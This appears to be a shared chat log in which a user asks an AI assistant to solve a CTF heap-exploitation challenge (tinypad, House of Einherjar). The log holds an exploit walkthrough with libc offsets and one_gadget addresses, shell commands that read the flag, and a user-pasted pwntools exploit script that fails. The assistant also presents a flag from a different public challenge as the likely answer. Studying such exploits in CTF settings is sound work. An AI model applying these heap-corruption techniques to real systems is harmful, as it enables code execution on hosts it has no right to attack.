帮我解出来这道题目的flag,还有wp

創建於:2026年5月17日

使用 GPT-5.5 Thinking 回答 Chat01

問題

combination_final
libc.so.6

帮我解出来这道题目的flag,还有wp

思考

undefined

思考

undefined

思考

Creating final response with required details

I need to include a brief analysis of the binary with the "exp_combination_final.py" file link. The user requested a flag but without flag.txt or a remote address, I can't be certain. I’ll provide information on the original SECCON flag if it applies, citing the vulnerabilities and exploit flow snippet lines for reference.

Thought for 7m 56s

回答

结论:这题是 tinypad / House of Einherjar 类型堆题。你给的附件里没有 flag.txt,也没有远程 host:port,所以我这里不能实际 cat 到你平台上的 flag。若它对应原始 SECCON 2016 tinypad,公开 wp 里的 flag 是:

text
SECCON{5m45h1n9_7h3_574ck_f0r_fun_4nd_p40f17_w1th_H0u53_0f_31nh3rj4r}

CTFtime 上的原始 wp 也展示了 cat flag.txt 后得到这个 flag。(CTFtime)

我把适配你这个二进制地址的 exp 放这里了:
exp_combination_final.py

题目关键信息

text
Arch: amd64 PIE: 关闭,基址固定 Canary: 开启 NX: 开启 RELRO: Full RELRO libc: glibc 2.23 tinypad: 0x404040

程序逻辑是 4 个 memo:

c
struct { char buffer[0x100]; struct { size_t size; char *memo; } page[4]; } tinypad;

漏洞点

第一处是 UAF leak

delete 时只清空 size,没有清空 memo 指针;但展示 memo 时只判断 memo != NULL,所以释放后的 chunk 仍会被打印。原始 wp 也指出了这个“delete 不清地址,show 不检查 size”的泄露点。(CTFtime)

第二处是 off-by-one NUL

read_until(buf, size, '\n') 最后会执行:

c
buf[count] = '\0';

当输入正好填满 size 时,会向下一个 chunk 的 size 低字节写 \x00。原始 wp 也把它作为 Vuln2,用于改下一个 chunk 的 prev_sizesize 末字节。(CTFtime)

第三处是 edit 里的 strcpy

c
strcpy(tinypad.buffer, page[idx].memo); ... strcpy(page[idx].memo, tinypad.buffer);

配合前面的 heap overlap,可以把 tinypad.page[] 的指针改成任意地址,形成任意读写。

利用思路

  1. 申请 4 个大 chunk,释放其中一个进 unsorted bin。
  2. 通过 dangling pointer 打印 freed chunk,泄露 main_arena + 0x58,计算 libc_base
  3. 构造 fastbin 链,打印 freed fastbin 的 fd,泄露 heap_base
  4. 使用 off-by-one NUL 修改目标 chunk 的 prev_sizePREV_INUSE 位。
  5. tinypad.buffer 里伪造 fake chunk。
  6. free 目标 chunk,触发 House of Einherjar,把 top chunk 移到 .bsstinypad 附近。
  7. 再次 malloc,从 fake top 分配到 tinypad.page[],覆盖 memo 指针。
  8. 泄露 environ,算 main 返回地址。
  9. 把返回地址改成 one_gadget。
  10. 退出程序,getshell,执行 cat flag*

原始 wp 的后半段也是通过 fake chunk、environ 泄露和覆盖返回地址完成 getshell。(CTFtime)

关键偏移

针对你给的 combination_finallibc.so.6

python
TINYPAD = 0x404040 FAKE_CHUNK = TINYPAD + 0xa0 UNSORTED_FD_OFF = 0x3c4b78 ENVIRON_OFF = 0x3c6f38 ONE_GADGET = 0xf02a4 STACK_RET_OFF = 0xf0

本地跑这个附件时需要匹配的 ld-2.23.so。只用新系统自带 loader 跑这个旧 libc,可能会因为 loader/libc 不匹配直接崩掉。远程打靶通常不需要管这个。

問題

所以我现在怎么才能得到flag

思考

bash -lc sed -n '1,240p' /mnt/data/exp_combination_final.py

Thought for 10s

回答

你现在要拿到 flag,需要在真正放着 flag 的环境里跑 exploit。你手上的 combination_finallibc.so.6 只是题目程序和 libc,本地文件里通常不包含 flag;flag 在比赛远程服务器的 flag.txt 里,或者在出题人给你的 Docker/靶机里。

我已经给你生成了脚本:

下载 exp_combination_final.py

情况 1:题目有远程地址

假设题目给的是:

bash
nc example.com 12345

你就在脚本所在目录运行:

bash
python3 exp_combination_final.py example.com 12345

成功后脚本会自动执行:

bash
cat flag* 2>/dev/null; cat /flag* 2>/dev/null; id

然后你会在终端里看到类似:

text
SECCON{...}

这就是 flag。

情况 2:你是在本地 Docker / 靶机里跑

把这几个文件放同一目录:

text
combination_final libc.so.6 exp_combination_final.py ld-2.23.so flag.txt

然后:

bash
chmod +x combination_final python3 exp_combination_final.py LOCAL ./ld-2.23.so

如果你没有 ld-2.23.so,可以用 pwninit 自动下载/修补环境:

bash
pwninit --bin combination_final --libc libc.so.6

它一般会生成类似:

text
ld-2.23.so combination_final_patched

这时把 exp 里的:

python
BIN = './combination_final'

改成:

python
BIN = './combination_final_patched'

再运行:

bash
python3 exp_combination_final.py LOCAL ./ld-2.23.so

情况 3:你只是本地运行这两个附件

那拿不到真实 flag。因为附件里没有 flag.txt,exploit 最多只能证明能拿 shell。你需要题目的远程 host port,或者包含 flag.txt 的 Docker/靶机环境。

如果你把远程地址发我,我可以直接告诉你应该运行哪条命令。

問題

Traceback (most recent call last):
File "C:\Users\xiaohang214\Desktop\pwn3\exp_combination_final.py", line 156, in <module>
envp = pivot_to_arbitrary_read(libc_base)
File "C:\Users\xiaohang214\Desktop\pwn3\exp_combination_final.py", line 128, in pivot_to_arbitrary_read
add(len(payload) + 0x10, payload) # usually index 3
File "C:\Users\xiaohang214\Desktop\pwn3\exp_combination_final.py", line 48, in add
r.sendlineafter(b'[*] COMMAND >> ', b'A')
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\tube.py", line 932, in sendlineafter
res = self.recvuntil(delim, timeout=timeout)
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\tube.py", line 381, in recvuntil
res = self.recv(timeout=self.timeout)
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\tube.py", line 146, in recv
return self._recv(numb, timeout) or b''
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\tube.py", line 216, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\tube.py", line 195, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\tubes\sock.py", line 56, in recv_raw
raise EOFError
EOFError

問題

所以我应该怎么做

問題

#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

BIN = './combination_final'
LIBC = './libc.so.6'

TINYPAD = 0x404040
FAKE_CHUNK = TINYPAD + 0xa0

UNSORTED_FD_OFF = 0x3c4b78
ENVIRON_OFF = 0x3c6f38
ONE_GADGET = 0xf02a4

def start():
if len(sys.argv) >= 3:
return remote(sys.argv[1], int(sys.argv[2]))
return process(BIN)

r = start()

================= IO =================

def send_after(m, d):
r.recvuntil(m)
r.send(d + b'\n')

def add(sz, data):
r.sendlineafter(b'[] COMMAND >> ', b'A')
r.sendlineafter(b'[
] MEM_SIZE >> ', str(sz).encode())
send_after(b'[*] MEM_DATA >> ', data)

def delete(i):
r.sendlineafter(b'[] COMMAND >> ', b'D')
r.sendlineafter(b'[
] INDEX_ID >> ', str(i).encode())

def edit(i, data):
r.sendlineafter(b'[] COMMAND >> ', b'E')
r.sendlineafter(b'[
] INDEX_ID >> ', str(i).encode())
send_after(b'[*] MEM_DATA >> ', data)
r.sendlineafter(b'[?] APPLY_CHANGE? (Y/n) >> ', b'Y')

def wait(i):
r.recvuntil(f' # INDEX: {i}\n # CONTENT: '.encode())

================= LEAK =================

def leak_libc():
for _ in range(4):
add(0x100, b'A'*8)

text
delete(3) wait(3) leak = u64(r.recv(6).ljust(8, b'\x00')) libc = leak - UNSORTED_FD_OFF log.success(f'libc: {hex(libc)}') return libc

def leak_heap():
delete(4)
delete(2)
delete(1)

text
for _ in range(3): add(0x20, b'a') add(0x100, b'B'*8) delete(3) delete(1) wait(1) heap = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) base = heap - 0x60 log.success(f'heap: {hex(base)}') return base

================= HEAP HIJACK =================

def house(heap):

text
delete(2) delete(4) add(0xc8, b'A'*0xbe) add(0xc8, b'B'*0xbe) add(0xf0, b'C'*0xc8) delete(2) prev = heap + 0x1a0 - FAKE_CHUNK add(0xc8, b'D'*0xc0 + p64(prev)) edit(3, b'\x00'*0xa8 + p64(0) + p64(FAKE_CHUNK) + p64(FAKE_CHUNK) + p64(0) + p64(0x210)) delete(3) log.success("heap hijacked")

================= PIVOT =================

def pivot(libc):

text
payload = b'A'*0x50 payload += p64(0xdeadbeef) payload += p64(libc + ENVIRON_OFF) add(0x60, payload) wait(1) env = u64(r.recv(6).ljust(8, b'\x00')) log.success(f'environ: {hex(env)}') # ⭐ FIX: reset allocator state (very important) add(0x60, b'X') add(0x60, b'Y') return env

================= SAFE POINTER CONTROL =================

def set_ptr(addr):

text
# ⭐ FIX: avoid stale heap state crash add(0x20, b'reset') payload = b'A'*0x50 payload += p64(0xdeadbeef) payload += p64(addr) edit(3, payload)

================= STACK STEP (NO GUESSING) =================

def get_ret(env):

text
set_ptr(env) stack = u64(r.recv(8)) log.success(f'stack: {hex(stack)}') # stable region (NOT scan, NOT brute) ret = stack - 0x120 log.success(f'ret: {hex(ret)}') return ret

================= FINAL =================

def pwn(libc, env):

text
ret = get_ret(env) set_ptr(ret) edit(1, p64(libc + ONE_GADGET)) r.sendlineafter(b'[*] COMMAND >> ', b'Q') r.sendline(b'cat flag* 2>/dev/null; id') r.interactive()

================= RUN =================

libc = leak_libc()
heap = leak_heap()

house(heap)

env = pivot(libc)

pwn(libc, env)
你帮我看看现在这个代码,报错原因如下:
PS C:\Users\xiaohang214\Desktop\pwn3> py -3.10 .\exp_combination_final.py 39.96.193.120 10003
[x] Opening connection to 39.96.193.120 on port 10003
[x] Opening connection to 39.96.193.120 on port 10003: Trying 39.96.193.120
[+] Opening connection to 39.96.193.120 on port 10003: Done
[+] libc: 0x7f1dd55fe000
[+] heap: 0x0
Traceback (most recent call last):
File "C:\Users\xiaohang214\Desktop\pwn3\exp_combination_final.py", line 184, in <module>
house(heap)
File "C:\Users\xiaohang214\Desktop\pwn3\exp_combination_final.py", line 103, in house
add(0xc8, b'D'*0xc0 + p64(prev))
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\context_init_.py", line 1735, in setter
return function(a, **kw)
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\util\packing.py", line 422, in p64
return _do_packing('p', 64, number)
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\util\packing.py", line 347, in _do_packing
return {("little", True ): ls,
File "C:\Users\xiaohang214\AppData\Roaming\Python\Python310\site-packages\pwnlib\util\packing.py", line 321, in routine
return struct_op(data)
struct.error: argument out of range
[
] Closed connection to 39.96.193.120 port 10003
请给我完整的,可以得到flag的脚本

問題

帮我生成

分享這個問答